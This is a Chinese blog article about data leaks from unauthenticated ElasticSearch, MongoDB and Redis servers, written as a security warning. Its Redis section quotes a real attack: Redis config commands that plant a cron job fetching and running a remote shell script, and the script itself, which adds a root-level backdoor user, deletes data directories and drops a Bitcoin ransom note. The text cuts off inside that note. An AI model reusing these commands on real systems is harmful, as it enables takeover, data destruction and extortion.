有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis

Posted 2021-04-21 数据和云

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis相关的知识，希望对你有一定的参考价值。

编者说明：在新年即将来临，长假渐近的日子里，一定不要忘了数据库也需要关照，我们曾经总结过：，本文整理了一些数据库安全方面的案例，在新年前为大家再提一次醒。

在技术领域，周而复始发生的数据安全事件，往往都似曾相识。有多少漏洞，全都会在不同的产品身上重演一次，一个都不能少，似乎所有经验都不曾被借鉴。

就拿初始化部署，初始化的口令和认证方式，往往都因为简便而保留默认方式，当服务器对公网开放时，这些系统就变成了完全不设防的主体，对着危险的黑暗森林发出『我在这里』的呼喊。

后果就是，数据风行天下。我摘录几则案例，与大家分享，并且作为警示。当我们启用一个数据库时，务必铭记，不要保留任何缺省设置。这是最基本的安全保证。

ElasticSearch 数据泄露案例

Elasticsearch 在全球数据库流行度排行榜上位列第 8 位，是一个被广泛使用的全文搜索引擎，企业一般用它来实现数据索引和搜索功能，但是由于部署或者企业运维上的重视缺乏，而导致的安全事故不绝于耳。

有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis

据2019年1月22日信息，美国一家网上赌场集团泄露了超过 1.08 亿笔投注信息。

该服务器被安全研究员 Justin Paine 发现，数据泄露源头是一个 ElasticSearch 服务器，该服务器没有密码保护，不需要身份验证且很明显信息来源于在线投注门户网站。

而此前类似的安全事件，同样言犹在耳：

2018 年 11 月份，美国发生一起 ElasticSearch 服务器在没有密码的开放状态下泄露了将近 5700 万美国民众个人信息的事件。共泄漏超过 73GB 数据，并且几个数据库被缓存在服务器内存中，其中一个数据库包含的个人信息就达到了 56,934,021 份。

2017 年，白帽汇曾对全球使用 ElasticSearch 引擎发生的勒索事件进行监测，最终发现因被攻击而删除的数据至少 500 亿条，被删除数据规模至少 450TB。互联网上公开可访问的 ElasticSearch 服务器超过 68000 余台，受害总数达 9750 台。此次事件后，1% 的 Elasticsearch 启用了验证插件，另外有 2% 则关闭了 Elasticsearch。

注意到这些问题的共同原因，ElasticSearch Server 没有密码，这些事件应该成为大家的警示。不管处于内部还是外部，只要是数据所在，即为堡垒，就应该进行重点的安全加固和防范，防止数据泄露损毁。数据安全重于泰山。我们也不能因为数据能够重构和可以恢复就放松警惕，因为数据泄露对企业和用户带来的伤害往往无法量度。

MongoDB数据泄露案例

MongoDB数据库同样存在类似的问题。在2019年年初，Twitter 上暴露出一则数据泄露事件：超 2 亿中国用户简历曝光。

该信息对整个互联网开放，因此追踪信息来源几乎是不可能的，但经过 Twitter 上一位用户的努力，已确定大致来源为一个已经删除的 GitHub 存储库，该存储库包含 Web 应用程序的源代码，此应用程序具有与泄露数据库中数据结构完全相同的数据，这清楚表明该程序应该是一个收集用户简历的第三方应用。

据此用户查证，该已删除应用的简历主要来源之一是 bj.58.com ，当 Diachenko 与 bj.58.com 工作人员联系时，他们也给出了初步评估，确定数据来自第三方应用泄露，并非官方泄露。

而这并不是MongoDB的第一次，在2016年和2017年，针对MongoDB的大规模攻击曾经就席卷而来：

2016年12月27日，安全专家兼GDI Foundation联合创始人Victor Gevers 在Twitter上称由于存在配置漏洞，可不通过任何认证直接访问某些MongoDB数据库，而黑客早已盯上了这些目标。

到 2017年1月3日，被黑客入侵的MongoDB数据库实例这个数字达到了2，000以上。而仅在1月9日早间开始的12小时内，受到黑客勒索的数据库就从12，000个翻倍达到了27，633之多。

尽管安全专家已经告诫众多MongoDB数据库用户不要向黑客支付赎金（很多黑客并不会如宣称的那样保留了数据，多数情况是直接删掉了），但已知仍有至少22个受害机构或个人缴纳了赎金。

而早在2015年 Shodan（搜索引擎）的负责人统计到有30，000个以上的MongoDB数据库实例，近600TB的数据暴露于公网之上，无需任何认证就可访问。很多版本滞后的数据库配置文件里没有做IP捆绑（bind_ip 127.0.0.1），在用户不甚了解的时候留下了安全隐患。虽然MongoDB的开发团队在下一个版本里修复了这个问题，但仍然有数量众多的数据库管理者没来得及更新。

MongoDB 的安全事故原因和前面的 ElasticSearch 非常相似，主要原因就是因为用户没有遵照规范化安全部署，缺少安全认证，并且直接将服务器暴露在公网里。

Redis的数据泄露

在2017年和2018年，关于Redis的安全问题同样大规模暴露出来。其安全原因和前面描述的如出一辙。

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样会将 Redis 服务暴露到公网上，在Redis服务器没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下成功在Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器进行远程控制，获得主机的完全控制权。

以下引自阿里云的攻击过程说明：

首先攻击者通过事先的扫描踩点，发现了这些公网可访问并且未设置密码的机器
攻击者尝试连接这些机器，并且运行如下代码:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash

save

通过上述指令，将下载脚本: http://103.224.80.52/butterfly.sh
并将该脚本写入到计划任务中，由计划任务启动执行。

该脚本内容:

#!/bin/bash

#*butterfly*

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

userdel -r redis

useradd -o -u 0 -g 0 redis  &>/dev/nullecho "abcd-1234-!" |passwd--stdin redis &>/dev/null

rm -rf /root/*

rm -rf /home/*

rm -rf /opt/*

rm -rf /data/*

rm -rf /data*

mkdir -p /dataecho -e "
Warning! 
Your File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! 
Mail:dbsecuritys@protonmail.com
BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny
" > /root/Warning.txt

chmod +x /root/Warning.txt

cp /root/Warning.txt /Warning.txt

cp /root/Warning.txt /data/Warning.txtecho -e "
Warning! 
Your File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are